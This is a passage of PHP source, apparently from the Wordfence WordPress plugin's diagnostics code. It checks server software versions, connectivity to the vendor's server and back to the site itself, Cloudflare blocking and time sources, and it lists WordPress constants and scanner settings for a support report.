$disabledFunctions = explode(',', ini_get('disable_functions')); if (is_callable('posix_geteuid')) { if (!is_callable('posix_getpwuid') || in_array('posix_getpwuid', $disabledFunctions)) { return array( 'test' => false, 'message' => __('Unavailable', 'wordfence'), ); } $processOwner = posix_getpwuid(posix_geteuid()); if ($processOwner !== false) { return array( 'test' => true, 'message' => $processOwner['name'], ); } } $usernameOrUserEnv = getenv('USERNAME') ? getenv('USERNAME') : getenv('USER'); if (!empty($usernameOrUserEnv)) { //Check some environmental variable possibilities return array( 'test' => true, 'message' => $usernameOrUserEnv, ); } $currentUser = get_current_user(); if (!empty($currentUser)) { //php.net comments indicate on Windows this returns the process owner rather than the file owner return array( 'test' => true, 'message' => $currentUser, ); } if (!empty($_SERVER['LOGON_USER'])) { //Last resort for IIS since POSIX functions are unavailable, Source: https://msdn.microsoft.com/en-us/library/ms524602(v=vs.90).aspx return array( 'test' => true, 'message' => $_SERVER['LOGON_USER'], ); } return array( 'test' => false, 'message' => __('Unknown', 'wordfence'), ); } public function hasOpenSSL() { return is_callable('openssl_open'); } public function openSSLVersion() { if (!function_exists('openssl_verify') || !defined('OPENSSL_VERSION_NUMBER') || !defined('OPENSSL_VERSION_TEXT')) { return false; } $compare = wfVersionCheckController::shared()->checkOpenSSLVersion(); return array( 'test' => $compare == wfVersionCheckController::VERSION_COMPATIBLE, 'message' => OPENSSL_VERSION_TEXT . ' (0x' . dechex(OPENSSL_VERSION_NUMBER) . ')', ); } public function hasCurl() { if (!is_callable('curl_version')) { return false; } $version = curl_version(); require(dirname(__FILE__) . '/wfVersionSupport.php'); /** @var $wfCURLMinimumVersion */ return array( 'test' => version_compare($version['version'], $wfCURLMinimumVersion, '>='), 'message' => $version['version'] . ' (0x' . dechex($version['version_number']) . ')', ); } public function curlFeatures() { if (!is_callable('curl_version')) { return false; } $version = curl_version(); return array( 'test' => true, 'message' => '0x' . dechex($version['features']), 'infoOnly' => true, ); } public function curlHost() { if (!is_callable('curl_version')) { return false; } $version = curl_version(); return array( 'test' => true, 'message' => $version['host'], 'infoOnly' => true, ); } public function curlProtocols() { if (!is_callable('curl_version')) { return false; } $version = curl_version(); return array( 'test' => true, 'message' => implode(', ', $version['protocols']), 'infoOnly' => true, ); } public function curlSSLVersion() { if (!is_callable('curl_version')) { return false; } $version = curl_version(); return array( 'test' => true, 'message' => $version['ssl_version'], 'infoOnly' => true, ); } public function curlLibZVersion() { if (!is_callable('curl_version')) { return false; } $version = curl_version(); return array( 'test' => true, 'message' => $version['libz_version'], 'infoOnly' => true, ); } public function displayErrors() { if (!is_callable('ini_get')) { return false; } $value = ini_get('display_errors'); $isOn = strtolower($value) == 'on' || $value == 1; return array( 'test' => !$isOn, 'message' => $isOn ? __('On', 'wordfence') : __('Off', 'wordfence'), 'infoOnly' => true, ); } public function connectToServer2() { return $this->_connectToServer('https'); } public function _connectToServer($protocol) { $cronURL = admin_url('admin-ajax.php'); $cronURL = preg_replace('/^(https?:\/\/)/i', '://noc1.wordfence.com/scanptest/', $cronURL); $cronURL .= '?action=wordfence_doScan&isFork=0&cronKey=47e9d1fa6a675b5999999333'; $cronURL = $protocol . $cronURL; $result = wp_remote_post($cronURL, array( 'timeout' => 10, //Must be less than max execution time or more than 2 HTTP children will be occupied by scan 'blocking' => true, //Non-blocking seems to block anyway, so we use blocking // This causes cURL to throw errors in some versions since WordPress uses its own certificate bundle ('CA certificate set, but certificate verification is disabled') // 'sslverify' => false, 'headers' => array() )); if( (! is_wp_error($result)) && $result['response']['code'] == 200 && strpos($result['body'], "scanptestok") !== false){ return true; } $detail = ''; if (is_wp_error($result)) { $message = __('wp_remote_post() test to noc1.wordfence.com failed! Response was: ', 'wordfence') . $result->get_error_message(); } else { $message = __('wp_remote_post() test to noc1.wordfence.com failed! Response was: ', 'wordfence') . $result['response']['code'] . " " . $result['response']['message'] . "\n"; $message .= __('This likely means that your hosting provider is blocking requests to noc1.wordfence.com or has set up a proxy that is not behaving itself.', 'wordfence') . "\n"; if (isset($result['http_response']) && is_object($result['http_response']) && method_exists($result['http_response'], 'get_response_object') && is_object($result['http_response']->get_response_object()) && property_exists($result['http_response']->get_response_object(), 'raw')) { $detail = str_replace("\r\n", "\n", $result['http_response']->get_response_object()->raw); } } return array( 'test' => false, 'message' => $message, 'detail' => $detail, ); } public function connectToSelf($ipVersion = null) { $adminAJAX = admin_url('admin-ajax.php?action=wordfence_testAjax'); $result = wp_remote_post($adminAJAX, array( 'timeout' => 10, //Must be less than max execution time or more than 2 HTTP children will be occupied by scan 'blocking' => true, //Non-blocking seems to block anyway, so we use blocking 'headers' => array() )); if ((!is_wp_error($result)) && $result['response']['code'] == 200 && strpos($result['body'], "WFSCANTESTOK") !== false) { $host = parse_url($adminAJAX, PHP_URL_HOST); if ($host !== null) { $ips = wfUtils::resolveDomainName($host, $ipVersion); if (!empty($ips)) { $ips = implode(', ', $ips); return array('test' => true, 'message' => sprintf('OK - %s', $ips)); } } return true; } $detail = ''; if (is_wp_error($result)) { $message = __('wp_remote_post() test back to this server failed! Response was: ', 'wordfence') . $result->get_error_message(); $messageTextOnly = __('wp_remote_post() test back to this server failed! Response was: ', 'wordfence') . $result->get_error_message(); } else { $message = __('wp_remote_post() test back to this server failed! Response was: ', 'wordfence') . '
' . $result['response']['code'] . ' ' . $result['response']['message'] . '

'; $messageTextOnly = __('wp_remote_post() test back to this server failed! Response was: ', 'wordfence') . "\n" . $result['response']['code'] . ' ' . $result['response']['message'] . "\n\n"; if ($this->_detectBlockedByCloudflare($result)) { $message .= __('Cloudflare appears to be blocking your site from connecting to itself.', 'wordfence') . '
' . sprintf(' ', wfSupportController::esc_supportURL(wfSupportController::ITEM_DIAGNOSTICS_CLOUDFLARE_BLOCK)) . __('Get help with Cloudflare compatibility', 'wordfence') . '

'; $messageTextOnly .= __('Cloudflare appears to be blocking your site from connecting to itself.', 'wordfence') . "\n" . __('Get help with Cloudflare compatibility', 'wordfence') . ': ' . wfSupportController::esc_supportURL(wfSupportController::ITEM_DIAGNOSTICS_CLOUDFLARE_BLOCK) . "\n\n"; } $message .= __('This additional info may help you diagnose the issue. The response headers we received were:', 'wordfence') . '

'; $messageTextOnly .= __('This additional info may help you diagnose the issue. The response headers we received were:', 'wordfence') . "\n\n"; if (isset($result['http_response']) && is_object($result['http_response']) && method_exists($result['http_response'], 'get_response_object') && is_object($result['http_response']->get_response_object()) && property_exists($result['http_response']->get_response_object(), 'raw')) { $detail = str_replace("\r\n", "\n", $result['http_response']->get_response_object()->raw); } } $message = wp_kses($message, array('a' => array('href' => array(), 'target' => array(), 'rel' => array()), 'span' => array('class' => array()), 'em' => array(), 'code' => array(), 'br' => array())); return array( 'test' => false, 'message' => array('escaped' => $message, 'textonly' => $messageTextOnly), 'detail' => $detail, ); } public function connectToSelfIpv6() { if (wfUtils::isCurlSupported()) { $interceptor = new wfCurlInterceptor(); $interceptor->setOption(CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V6); try { $instance = $this; $result = $interceptor->intercept(function() use ($instance) { return $instance->connectToSelf(6); }); if ($result !== true && !$result['test']) { $handle = $interceptor->getHandle(); $errorNumber = curl_errno($handle); if ($errorNumber === 6 /* COULDNT_RESOLVE_HOST */) { $detail = sprintf(/* translators: error message from failed request */ __('This likely indicates that the server either does not support IPv6 or does not have an IPv6 address assigned or associated with the domain. Original error message: %s', 'wordfence'), is_array($result['message']) ? $result['message']['escaped'] : $result['message']); $detail = wp_kses($detail, array('a' => array('href' => array(), 'target' => array(), 'rel' => array()), 'span' => array('class' => array()), 'em' => array(), 'code' => array(), 'br' => array())); $detailTextOnly = sprintf(/* translators: error message from failed request */ __('This likely indicates that the server either does not support IPv6 or does not have an IPv6 address assigned or associated with the domain. Original error message: %s', 'wordfence'), is_array($result['message']) ? $result['message']['textonly'] : strip_tags($result['message'])); return array( 'test' => false, 'infoOnly' => true, 'message' => __('IPv6 DNS resolution failed', 'wordfence'), 'detail' => array('escaped' => $detail, 'textonly' => $detailTextOnly), ); } } return $result; } catch (wfCurlInterceptionFailedException $e) { return array( 'test' => false, 'message' => __('This diagnostic is unavailable as cURL appears to be supported, but was not used by WordPress for this request', 'wordfence') ); } } return array( 'test' => false, 'message' => __('This diagnostic requires cURL', 'wordfence') ); } /** * Looks for markers in $result that indicate it was challenged/blocked by Cloudflare. * * @param $result * @return bool */ private function _detectBlockedByCloudflare($result) { $headers = $result['headers']; if (isset($headers['cf-mitigated']) && strtolower($headers['cf-mitigated']) == 'challenge' /* managed challenge */) { //$headers is an instance of Requests_Utility_CaseInsensitiveDictionary return true; } $body = $result['body']; $search = array( '/cdn-cgi/styles/challenges.css', //managed challenge '/cdn-cgi/challenge-platform', //managed challenge '/cdn-cgi/styles/cf.errors.css', //block 'cf-error-details', //block 'Cloudflare Ray ID', //block ); foreach ($search as $s) { if (stripos($body, $s) !== false) { return true; } } return false; } public function serverIP() { $serverIPs = wfUtils::serverIPs(); return array( 'test' => true, 'infoOnly' => true, 'message' => implode(',', $serverIPs), ); } public function howGetIPs() { $howGet = wfConfig::get('howGetIPs', false); if ($howGet) { if (empty($_SERVER[$howGet])) { return array( 'test' => false, 'message' => sprintf(/* translators: PHP super global key. */ __('We cannot read $_SERVER[%s]', 'wordfence'), $howGet), ); } return array( 'test' => true, 'message' => $howGet, ); } foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR') as $test) { if (!empty($_SERVER[$test])) { return array( 'test' => false, 'message' => __('Should be: ', 'wordfence') . $test ); } } return array( 'test' => true, 'message' => 'REMOTE_ADDR', ); } public function serverTime() { return array( 'test' => true, 'infoOnly' => true, 'message' => date('Y-m-d H:i:s', time()) . ' UTC', ); } public function wfTime() { try { $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); $response = $api->call('timestamp'); if (!is_array($response) || !isset($response['timestamp'])) { throw new Exception('Unexpected payload returned'); } } catch (Exception $e) { return array( 'test' => true, 'infoOnly' => true, 'message' => '-', ); } return array( 'test' => true, 'infoOnly' => true, 'message' => date('Y-m-d H:i:s', $response['timestamp']) . ' UTC', ); } public function wfTimeOffset() { $delta = wfUtils::normalizedTime() - time(); return array( 'test' => true, 'infoOnly' => true, 'message' => ($delta < 0 ? '-' : '+') . ' ' . wfUtils::makeDuration(abs($delta), true), ); } public function ntpTimeOffset() { if (class_exists('WFLSPHP52Compatability')) { $time = WFLSPHP52Compatability::ntp_time(); if ($time === false) { return array( 'test' => true, 'infoOnly' => true, 'message' => __('Blocked', 'wordfence'), ); } $delta = $time - time(); return array( 'test' => true, 'infoOnly' => true, 'message' => ($delta < 0 ? '-' : '+') . ' ' . wfUtils::makeDuration(abs($delta), true), ); } return array( 'test' => true, 'infoOnly' => true, 'message' => '-', ); } public function ntpStatus() { $maxFailures = \WordfenceLS\Controller_Time::FAILURE_LIMIT; $cronDisabled = \WordfenceLS\Controller_Settings::shared()->is_ntp_cron_disabled($failureCount); if ($cronDisabled) { $constant = \WordfenceLS\Controller_Settings::shared()->is_ntp_disabled_via_constant(); $status = __('Disabled ', 'wordfence'); if ($constant) { $status .= __('(WORDFENCE_LS_DISABLE_NTP)', 'wordfence'); } else if ($failureCount > 0) { $status .= __('(failures exceeded limit)', 'wordfence'); } else { $status .= __('(settings)', 'wordfence'); } } else { $status = __('Enabled', 'wordfence'); if ($failureCount > 0) { $remainingAttempts = $maxFailures - $failureCount; $status .= sprintf(__(' (%d of %d attempts remaining)', 'wordfence'), $remainingAttempts, $maxFailures); } } return array( 'test' => true, 'infoOnly' => true, 'message' => $status ); } public function timeSourceInUse() { if (class_exists('WFLSPHP52Compatability')) { $time = WFLSPHP52Compatability::ntp_time(); if (WFLSPHP52Compatability::using_ntp_time()) { return array( 'test' => true, 'infoOnly' => true, 'message' => __('NTP', 'wordfence'), ); } else if (WFLSPHP52Compatability::using_wf_time()) { return array( 'test' => true, 'infoOnly' => true, 'message' => __('Wordfence Network', 'wordfence'), ); } return array( 'test' => true, 'infoOnly' => true, 'message' => __('Server Time', 'wordfence'), ); } return array( 'test' => true, 'infoOnly' => true, 'message' => '-', ); } public function wpTimeZone() { $tz = get_option('timezone_string'); if (empty($tz)) { $offset = get_option('gmt_offset'); $tz = 'UTC' . ($offset >= 0 ? '+' . $offset : $offset); } return array( 'test' => true, 'infoOnly' => true, 'message' => $tz, ); } public static function getWordpressValues() { require(ABSPATH . 'wp-includes/version.php'); $postRevisions = (defined('WP_POST_REVISIONS') ? WP_POST_REVISIONS : true); return array( 'WordPress Version' => array('description' => '', 'value' => $wp_version), 'Multisite' => array('description' => __('Return value of is_multisite()', 'wordfence'), 'value' => is_multisite() ? __('Yes', 'wordfence') : __('No', 'wordfence')), 'ABSPATH' => __('WordPress base path', 'wordfence'), 'WP_DEBUG' => array('description' => __('WordPress debug mode', 'wordfence'), 'value' => (defined('WP_DEBUG') && WP_DEBUG ? __('On', 'wordfence') : __('Off', 'wordfence'))), 'WP_DEBUG_LOG' => array('description' => __('WordPress error logging override', 'wordfence'), 'value' => defined('WP_DEBUG_LOG') ? (WP_DEBUG_LOG ? 'Enabled' : 'Disabled') : __('(not set)', 'wordfence')), 'WP_DEBUG_DISPLAY' => array('description' => __('WordPress error display override', 'wordfence'), 'value' => defined('WP_DEBUG_DISPLAY') ? (WP_DEBUG_DISPLAY ? 'Enabled' : 'Disabled') : __('(not set)', 'wordfence')), 'SCRIPT_DEBUG' => array('description' => __('WordPress script debug mode', 'wordfence'), 'value' => (defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ? __('On', 'wordfence') : __('Off', 'wordfence'))), 'SAVEQUERIES' => array('description' => __('WordPress query debug mode', 'wordfence'), 'value' => (defined('SAVEQUERIES') && SAVEQUERIES ? __('On', 'wordfence') : __('Off', 'wordfence'))), 'DB_CHARSET' => __('Database character set', 'wordfence'), 'DB_COLLATE' => __('Database collation', 'wordfence'), 'WP_SITEURL' => __('Explicitly set site URL', 'wordfence'), 'WP_HOME' => __('Explicitly set blog URL', 'wordfence'), 'WP_CONTENT_DIR' => array('description' => __('"wp-content" folder is in default location', 'wordfence'), 'value' => (realpath(WP_CONTENT_DIR) === realpath(ABSPATH . 'wp-content') ? __('Yes', 'wordfence') : sprintf(/* translators: WordPress content directory. */ __('No: %s', 'wordfence'), WP_CONTENT_DIR))), 'WP_CONTENT_URL' => __('URL to the "wp-content" folder', 'wordfence'), 'WP_PLUGIN_DIR' => array('description' => __('"plugins" folder is in default location', 'wordfence'), 'value' => (realpath(WP_PLUGIN_DIR) === realpath(ABSPATH . 'wp-content/plugins') ? __('Yes', 'wordfence') : sprintf(/* translators: WordPress plugins directory. */ __('No: %s', 'wordfence'), WP_PLUGIN_DIR))), 'WP_LANG_DIR' => array('description' => __('"languages" folder is in default location', 'wordfence'), 'value' => (realpath(WP_LANG_DIR) === realpath(ABSPATH . 'wp-content/languages') ? __('Yes', 'wordfence') : sprintf(/* translators: WordPress languages directory. */ __('No: %s', 'wordfence'), WP_LANG_DIR))), 'WPLANG' => __('Language choice', 'wordfence'), 'UPLOADS' => __('Custom upload folder location', 'wordfence'), 'TEMPLATEPATH' => array('description' => __('Theme template folder override', 'wordfence'), 'value' => (defined('TEMPLATEPATH') && realpath(get_template_directory()) !== realpath(TEMPLATEPATH) ? sprintf(/* translators: WordPress theme template directory. */ __('Overridden: %s', 'wordfence'), TEMPLATEPATH) : __('(not set)', 'wordfence'))), 'STYLESHEETPATH' => array('description' => __('Theme stylesheet folder override', 'wordfence'), 'value' => (defined('STYLESHEETPATH') && realpath(get_stylesheet_directory()) !== realpath(STYLESHEETPATH) ? sprintf(/* translators: WordPress theme stylesheet directory. */ __('Overridden: %s', 'wordfence'), STYLESHEETPATH) : __('(not set)', 'wordfence'))), 'AUTOSAVE_INTERVAL' => __('Post editing automatic saving interval', 'wordfence'), 'WP_POST_REVISIONS' => array('description' => __('Post revisions saved by WordPress', 'wordfence'), 'value' => is_numeric($postRevisions) ? $postRevisions : ($postRevisions ? __('Unlimited', 'wordfence') : __('None', 'wordfence'))), 'COOKIE_DOMAIN' => __('WordPress cookie domain', 'wordfence'), 'COOKIEPATH' => __('WordPress cookie path', 'wordfence'), 'SITECOOKIEPATH' => __('WordPress site cookie path', 'wordfence'), 'ADMIN_COOKIE_PATH' => __('WordPress admin cookie path', 'wordfence'), 'PLUGINS_COOKIE_PATH' => __('WordPress plugins cookie path', 'wordfence'), 'NOBLOGREDIRECT' => __('URL redirected to if the visitor tries to access a nonexistent blog', 'wordfence'), 'CONCATENATE_SCRIPTS' => array('description' => __('Concatenate JavaScript files', 'wordfence'), 'value' => (defined('CONCATENATE_SCRIPTS') && CONCATENATE_SCRIPTS ? __('Yes', 'wordfence') : __('No', 'wordfence'))), 'WP_MEMORY_LIMIT' => __('WordPress memory limit', 'wordfence'), 'WP_MAX_MEMORY_LIMIT' => __('Administrative memory limit', 'wordfence'), 'WP_CACHE' => array('description' => __('Built-in caching', 'wordfence'), 'value' => (defined('WP_CACHE') && WP_CACHE ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence'))), 'CUSTOM_USER_TABLE' => array('description' => __('Custom "users" table', 'wordfence'), 'value' => (defined('CUSTOM_USER_TABLE') ? sprintf(/* translators: WordPress custom user table. */ __('Set: %s', 'wordfence'), CUSTOM_USER_TABLE) : __('(not set)', 'wordfence'))), 'CUSTOM_USER_META_TABLE' => array('description' => __('Custom "usermeta" table', 'wordfence'), 'value' => (defined('CUSTOM_USER_META_TABLE') ? sprintf(/* translators: WordPress custom user meta table. */ __('Set: %s', 'wordfence'), CUSTOM_USER_META_TABLE) : __('(not set)', 'wordfence'))), 'FS_CHMOD_DIR' => array('description' => __('Overridden permissions for a new folder', 'wordfence'), 'value' => defined('FS_CHMOD_DIR') ? decoct(FS_CHMOD_DIR) : __('(not set)', 'wordfence')), 'FS_CHMOD_FILE' => array('description' => __('Overridden permissions for a new file', 'wordfence'), 'value' => defined('FS_CHMOD_FILE') ? decoct(FS_CHMOD_FILE) : __('(not set)', 'wordfence')), 'ALTERNATE_WP_CRON' => array('description' => __('Alternate WP cron', 'wordfence'), 'value' => (defined('ALTERNATE_WP_CRON') && ALTERNATE_WP_CRON ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence'))), 'DISABLE_WP_CRON' => array('description' => __('WP cron status', 'wordfence'), 'value' => (defined('DISABLE_WP_CRON') && DISABLE_WP_CRON ? __('Cron is disabled', 'wordfence') : __('Cron is enabled', 'wordfence'))), 'WP_CRON_LOCK_TIMEOUT' => __('Cron running frequency lock', 'wordfence'), 'EMPTY_TRASH_DAYS' => array('description' => __('Interval the trash is automatically emptied at in days', 'wordfence'), 'value' => (EMPTY_TRASH_DAYS > 0 ? EMPTY_TRASH_DAYS : __('Never', 'wordfence'))), 'WP_ALLOW_REPAIR' => array('description' => __('Automatic database repair', 'wordfence'), 'value' => (defined('WP_ALLOW_REPAIR') && WP_ALLOW_REPAIR ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence'))), 'DO_NOT_UPGRADE_GLOBAL_TABLES' => array('description' => __('Do not upgrade global tables', 'wordfence'), 'value' => (defined('DO_NOT_UPGRADE_GLOBAL_TABLES') && DO_NOT_UPGRADE_GLOBAL_TABLES ? __('Yes', 'wordfence') : __('No', 'wordfence'))), 'DISALLOW_FILE_EDIT' => array('description' => __('Disallow plugin/theme editing', 'wordfence'), 'value' => (defined('DISALLOW_FILE_EDIT') && DISALLOW_FILE_EDIT ? __('Yes', 'wordfence') : __('No', 'wordfence'))), 'DISALLOW_FILE_MODS' => array('description' => __('Disallow plugin/theme update and installation', 'wordfence'), 'value' => (defined('DISALLOW_FILE_MODS') && DISALLOW_FILE_MODS ? __('Yes', 'wordfence') : __('No', 'wordfence'))), 'IMAGE_EDIT_OVERWRITE' => array('description' => __('Overwrite image edits when restoring the original', 'wordfence'), 'value' => (defined('IMAGE_EDIT_OVERWRITE') && IMAGE_EDIT_OVERWRITE ? __('Yes', 'wordfence') : __('No', 'wordfence'))), 'FORCE_SSL_ADMIN' => array('description' => __('Force SSL for administrative logins', 'wordfence'), 'value' => (defined('FORCE_SSL_ADMIN') && FORCE_SSL_ADMIN ? __('Yes', 'wordfence') : __('No', 'wordfence'))), 'WP_HTTP_BLOCK_EXTERNAL' => array('description' => __('Block external URL requests', 'wordfence'), 'value' => (defined('WP_HTTP_BLOCK_EXTERNAL') && WP_HTTP_BLOCK_EXTERNAL ? __('Yes', 'wordfence') : __('No', 'wordfence'))), 'WP_ACCESSIBLE_HOSTS' => __('Allowlisted hosts', 'wordfence'), 'WP_AUTO_UPDATE_CORE' => array('description' => __('Automatic WP Core updates', 'wordfence'), 'value' => defined('WP_AUTO_UPDATE_CORE') ? (is_bool(WP_AUTO_UPDATE_CORE) ? (WP_AUTO_UPDATE_CORE ? __('Everything', 'wordfence') : __('None', 'wordfence')) : WP_AUTO_UPDATE_CORE) : __('Default', 'wordfence')), 'WP_PROXY_HOST' => array('description' => __('Hostname for a proxy server', 'wordfence'), 'value' => defined('WP_PROXY_HOST') ? WP_PROXY_HOST : __('(not set)', 'wordfence')), 'WP_PROXY_PORT' => array('description' => __('Port for a proxy server', 'wordfence'), 'value' => defined('WP_PROXY_PORT') ? WP_PROXY_PORT : __('(not set)', 'wordfence')), 'MULTISITE' => array('description' => __('Multisite enabled', 'wordfence'), 'value' => defined('MULTISITE') ? (MULTISITE ? __('Yes', 'wordfence') : __('No', 'wordfence')) : __('(not set)', 'wordfence')), 'WP_ALLOW_MULTISITE' => array('description' => __('Multisite/network ability enabled', 'wordfence'), 'value' => (defined('WP_ALLOW_MULTISITE') && WP_ALLOW_MULTISITE ? __('Yes', 'wordfence') : __('No', 'wordfence'))), 'SUNRISE' => array('description' => __('Multisite enabled, WordPress will load the /wp-content/sunrise.php file', 'wordfence'), 'value' => defined('SUNRISE') ? __('Yes', 'wordfence') : __('(not set)', 'wordfence')), 'SUBDOMAIN_INSTALL' => array('description' => __('Multisite enabled, subdomain installation constant', 'wordfence'), 'value' => defined('SUBDOMAIN_INSTALL') ? (SUBDOMAIN_INSTALL ? __('Yes', 'wordfence') : __('No', 'wordfence')) : __('(not set)', 'wordfence')), 'VHOST' => array('description' => __('Multisite enabled, Older subdomain installation constant', 'wordfence'), 'value' => defined('VHOST') ? (VHOST == 'yes' ? __('Yes', 'wordfence') : __('No', 'wordfence')) : __('(not set)', 'wordfence')), 'DOMAIN_CURRENT_SITE' => __('Defines the multisite domain for the current site', 'wordfence'), 'PATH_CURRENT_SITE' => __('Defines the multisite path for the current site', 'wordfence'), 'BLOG_ID_CURRENT_SITE' => __('Defines the multisite database ID for the current site', 'wordfence'), 'WP_DISABLE_FATAL_ERROR_HANDLER' => array('description' => __('Disable the fatal error handler', 'wordfence'), 'value' => (defined('WP_DISABLE_FATAL_ERROR_HANDLER') && WP_DISABLE_FATAL_ERROR_HANDLER ? __('Yes', 'wordfence') : __('No', 'wordfence'))), 'AUTOMATIC_UPDATER_DISABLED' => array('description' => __('Disables automatic updates', 'wordfence'), 'value' => (defined('AUTOMATIC_UPDATER_DISABLED') ? (AUTOMATIC_UPDATER_DISABLED ? __('Automatic updates disabled', 'wordfence') : __('Automatic updates enabled', 'wordfence')) : __('(not set)', 'wordfence'))) ); } public static function getWordfenceValues() { //Rate Limiting $rateOptions = array( 'DISABLED' => __('Unlimited', 'wordfence'), 1920 => sprintf(/* translators: Number of HTTP requests. */__('%d per minute', 'wordfence'), 1920), 960 => sprintf(/* translators: Number of HTTP requests. */__('%d per minute', 'wordfence'), 960), 480 => sprintf(/* translators: Number of HTTP requests. */__('%d per minute', 'wordfence'), 480), 240 => sprintf(/* translators: Number of HTTP requests. */__('%d per minute', 'wordfence'), 240), 120 => sprintf(/* translators: Number of HTTP requests. */__('%d per minute', 'wordfence'), 120), 60 => sprintf(/* translators: Number of HTTP requests. */__('%d per minute', 'wordfence'), 60), 30 => sprintf(/* translators: Number of HTTP requests. */__('%d per minute', 'wordfence'), 30), 15 => sprintf(/* translators: Number of HTTP requests. */__('%d per minute', 'wordfence'), 15), 10 => sprintf(/* translators: Number of HTTP requests. */__('%d per minute', 'wordfence'), 10), 5 => sprintf(/* translators: Number of HTTP requests. */__('%d per minute', 'wordfence'), 5), 4 => sprintf(/* translators: Number of HTTP requests. */__('%d per minute', 'wordfence'), 4), 3 => sprintf(/* translators: Number of HTTP requests. */__('%d per minute', 'wordfence'), 3), 2 => sprintf(/* translators: Number of HTTP requests. */__('%d per minute', 'wordfence'), 2), 1 => sprintf(/* translators: Number of HTTP requests. */__('%d per minute', 'wordfence'), 1), ); $actionOptions = array( 'throttle' => __('throttle it', 'wordfence'), 'block' => __('block it', 'wordfence'), ); $avoidPHPInput = false; try { $avoidPHPInput = wfWAFConfig::get('avoid_php_input'); } catch (Exception $e) { //Ignore } return array( array('subheader' => __('Scanner', 'wordfence')), array('description' => __('Scan Type', 'wordfence'), 'value' => wfScanner::shared()->scanTypeName()), array('description' => __('Check if this website is on a domain blocklist', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_checkGSB') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Check if this website is being "Spamvertised"', 'wordfence'), 'value' => !!wfConfig::get('spamvertizeCheck') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Check if this website IP is generating spam', 'wordfence'), 'value' => !!wfConfig::get('checkSpamIP') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan for misconfigured How does Wordfence get IPs', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_checkHowGetIPs') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan for publicly accessible configuration, backup, or log files', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_checkReadableConfig') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan for publicly accessible quarantined files', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_suspectedFiles') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan core files against repository versions for changes', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_core') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan theme files against repository versions for changes', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_themes') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan plugin files against repository versions for changes', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_plugins') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan wp-admin and wp-includes for files not bundled with WordPress', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_coreUnknown') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan for signatures of known malicious files', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_malware') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan file contents for backdoors, trojans and suspicious code', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_fileContents') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan file contents for malicious URLs', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_fileContentsGSB') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan posts for known dangerous URLs and suspicious content', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_posts') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan comments for known dangerous URLs and suspicious content', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_comments') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan WordPress core, plugin, and theme options for known dangerous URLs and suspicious content', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_suspiciousOptions') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan for out of date, abandoned, and vulnerable plugins, themes, and WordPress versions', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_oldVersions') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan for suspicious admin users created outside of WordPress', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_suspiciousAdminUsers') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Check the strength of passwords', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_passwds') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Monitor disk space', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_diskSpace') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Monitor Web Application Firewall status', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_wafStatus') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan files outside your WordPress installation', 'wordfence'), 'value' => !!wfConfig::get('other_scanOutside') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Scan images, binary, and other files as if they were executable', 'wordfence'), 'value' => !!wfConfig::get('scansEnabled_scanImages') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Use low resource scanning (reduces server load by lengthening the scan duration)', 'wordfence'), 'value' => !!wfConfig::get('lowResourceScansEnabled') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Limit the number of issues sent in the scan results email', 'wordfence'), 'value' => wfConfig::get('scan_maxIssues')), array('description' => __('Time limit that a scan can run in seconds', 'wordfence'), 'value' => wfConfig::get('scan_maxDuration')), array('description' => __('How much memory should Wordfence request when scanning', 'wordfence'), 'value' => wfConfig::get('maxMem')), array('description' => 